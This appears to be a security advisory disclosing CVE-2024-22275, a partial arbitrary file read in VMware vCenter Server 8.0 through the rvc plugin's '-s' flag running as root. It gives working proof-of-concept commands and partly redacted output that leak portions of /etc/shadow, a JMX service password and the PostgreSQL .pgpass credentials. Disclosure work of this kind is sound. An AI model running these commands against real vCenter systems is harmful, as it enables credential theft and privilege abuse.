

VMware vCenter Disclosures

Version 8.0.0.10200

Environment:

- VMware vCenter 8.0.0.10200
- Photon Linux

```
VMware vCenter Server 8.0.0.10200
Type: vCenter Server with an embedded Platform Services Controller
```

Findings:

1. CVE-2024-22275: VMware vCenter Server Partial File Read

Description:

The “com.vmware.rvc” plugin accepts the dangerous flag “-s, --script=<s>” (file to execute) which can be leveraged in order to partially read arbitrary files as the “root” user on the target system.

Proof of Concept:

By executing multiple API commands available to the “admin” user and inspecting the underlying system commands called using “pspy”¹, we have determined that the “com.vmware.rvc” plugin executes the “Ruby vSphere Console” as the “root” user by using “sudo”.

Because the binary runs as “root”, we can use the otherwise benign “-s” flag in order to read arbitrary files on the system as the “root” user to extract partial file contents via verbose errors.

For example, we can try exfiltrating the “/etc/shadow” file, but, as it can be observed in the below image, we can only exfiltrate part of the root hash which is not very useful.

```
2023/04/06 21:50:01 CMD: UID=0 PID=116202 | /bin/sh -c test -x /usr/sbin/cloudvm_ram_size_
periodic 88 /usr/sbin/cloudvm_ram_size_periodic >/dev/null 2>&1
2023/04/06 21:50:01 CMD: UID=777 PID=116206 | ???
2023/04/06 21:50:01 CMD: UID=0 PID=116205 |
2023/04/06 21:50:01 CMD: UID=0 PID=116207 | /bin/sh -c test -x /usr/sbin/cloudvm_ram_size_
periodic 88 /usr/sbin/cloudvm_ram_size_periodic >/dev/null 2>&1
2023/04/06 21:50:01 CMD: UID=0 PID=116210 | /bin/grep -q /usr/java/jre-vmware/bin
2023/04/06 21:50:01 CMD: UID=0 PID=116214 | /opt/vmware/bin/python /usr/sbin/cloudvm-ram-sl
re -s
2023/04/06 21:50:01 CMD: UID=0 PID=116215 | /bin/sh -c uname -p 2> /dev/null
2023/04/06 21:50:02 CMD: UID=0 PID=116217 |
2023/04/06 21:50:08 CMD: UID=10105 PID=116269 | /usr/bin/sudo /usr/bin/rvc administrator@
localhost -s /etc/shadow
2023/04/06 21:50:08 CMD: UID=0 PID=116270 | /bin/bash /usr/bin/rvc administrator@
localhost -s /etc/shadow

Command: rvc administrator@localhost -s /etc/shadow
[DEPRECATION] This gen has been renamed to optnlist and will no longer be supported. Please sw
itch to optnlist as soon as possible.
Install the "ffi" gen for better tab completion.
password:
Traceback (most recent call last):
/opt/vmware/rvc/bin/rvc: /etc/shadow:1: syntax error, unexpected tGVAR, expecting end-of-input
(SyntaxError)
root:$6$[REDACTED]0...
Command:
```

¹ <https://github.com/DominicBreuker/pspy>

On the other hand, we can use it to read other sensitive files such as the JMX password file (e.g. “/etc/vmware/vmware-vmon/svcCfgfiles/jmx/vsphere-ui.password”) in order to exfiltrate the full password of the “observabilityRole” user.

```
Command> rvc administrator@[redacted]@localhost -s /etc/vmware/vmware-vmon/svcCfgfiles/jmx/vsphere-ui.password
[DEPRECATION] This gem has been renamed to optimist and will no longer be supported. Please switch to optimist as soon as possible.
Install the "ffi" gem for better tab completion.
password:
Traceback (most recent call last):
/opt/vmware/rvc/bin/rvc: /etc/vmware/vmware-vmon/svcCfgfiles/jmx/vsphere-ui.password:1: uninitialized constant RVC::RubyEvaluator:V[redacted]S (NameError)
Command> [redacted]
```

Note: In some cases the JMX username is also printed in the error.

```
Command> rvc administrator@vsphere.local@localhost -s /etc/vmware/vmware-vmon/svcCfgfiles/jmx/vsphere-ui.password
[DEPRECATION] This gem has been renamed to optimist and will no longer be supported. Please switch to optimist as soon as possible.
Install the "ffi" gem for better tab completion.
password:
Traceback (most recent call last):
/opt/vmware/rvc/bin/rvc: /etc/vmware/vmware-vmon/svcCfgfiles/jmx/vsphere-ui.password:1: syntax error, unexpected tCONSTANT, expecting end-of-input (SyntaxError)
observabilityRole 5Aj[redacted]
Command> [redacted]
```

Or in order to exfiltrate part of the PostgresDB password. In this case we are able to exfiltrate 12 out of 15 characters, but bruteforcing the last 3 characters is a trivial matter for most attackers.

```
root@vcsa:~# cat .pgpass
/var/run/vpostgres:5432:*:postgres:[redacted]j7u
localhost:5432:replication:replicator:[redacted]p
127.0.0.1:5432:replication:replicator:[redacted]p
/var/run/vpostgres:5432:replication:replicator:[redacted]p
localhost:5432:postgres:postgres:[redacted]j7u
127.0.0.1:5432:postgres:postgres:[redacted]j7u
localhost:5432:VCDB:postgres:[redacted]j7u
127.0.0.1:5432:VCDB:postgres:[redacted]j7u
root@vcsa:~# [redacted]

[redacted] ssh admin@172.16.200.128
VMware vCenter Server 8.0.0.10200
Type: vCenter Server with an embedded Platform Services Controller
Password:
Last login: Thu Apr  6 22:30:59 2023 from 172.16.200.1
Connected to service
* List APIs: "help api list"
* List Plugins: "help pl list"
* Launch BASH: "shell"
Command> user.get --username admin
Config:
  Username: admin
  Role: admin
  Fullname: admin
  Status: enabled
  Passwordstatus: valid
  Email: ''
Command> rvc administrator@[redacted]@localhost -s /root/.pgpass
[DEPRECATION] This gem has been renamed to optimist and will no longer be supported. Please switch to optimist as soon as possible.
Install the "ffi" gem for better tab completion.
password:
Traceback (most recent call last):
/opt/vmware/rvc/bin/rvc: /root/.pgpass:1: unknown regexp option - r (SyntaxError)
/root/.pgpass:1: syntax error, unexpected tSYMBEG, expecting keyword_do or '{' or '('
/var/run/vpostgres:5432:*:postgres:[redacted]U...
[redacted]
```